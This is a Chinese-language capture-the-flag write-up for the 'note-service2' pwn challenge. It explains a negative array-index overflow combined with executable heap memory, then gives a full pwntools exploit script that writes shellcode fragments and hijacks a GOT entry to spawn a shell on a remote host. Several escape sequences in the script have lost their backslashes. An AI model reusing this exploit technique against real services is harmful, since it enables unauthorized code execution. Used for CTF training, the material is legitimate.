note-service2

安全检查

 流程分析

add函数,这里有一个溢出漏洞,但我没看到-_-||,注意力一直在输入函数和free函数上

 del函数

漏洞利用

由于程序没有NX防护,所以堆和栈都有可执行属性(我以前一直以为NX只是对栈取消了可执行效果,原来对堆也有效果),通过add函数没有对数组进行检查,导致数组可以进行负溢出,并且通过偏移地址hook了got.plt来达到get shell效果

 exp

from pwn import *

#p=process('./note')
p=remote('220.249.52.134',50441)
def add(idx,size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(idx))
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)
    
def delete(idx):
    p.recvuntil('>> ')
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(idx))

add(0,0x8,'a')
add(1,0x8,asm('mov eax,0x3b')+b'xebx19')
add(2,0x8,'x48x33xf6x90x90xebx19')
add(3,0x8,'x48x33xd2x90x90xebx19')
add(4,0x8,asm('syscall').ljust(7,b'x90'))
add(5,0x8,'/bin/sh')
delete(0)

add(-17,0x8,'x48x33xc0x90x90xebx19')



#gdb.attach(p)

p.interactive()

感想

这道题,发现了自己的不足,明白队长为什么要锻炼我的代码审计能力,因为这个数组的负溢出一直没看到,也没去注意,写题也一直是学会别人的解题方式后,再用别人的方式来解下一题,这样周而复始,最大的原因就是代码审计不过关,接下来得要求自己写题目跟写vm题一样有耐心,认真审题,把所有的漏洞都在代码中标记出来,看能利用,再决定要不要看wp

原文地址:https://www.cnblogs.com/pppyyyzzz/p/14152114.html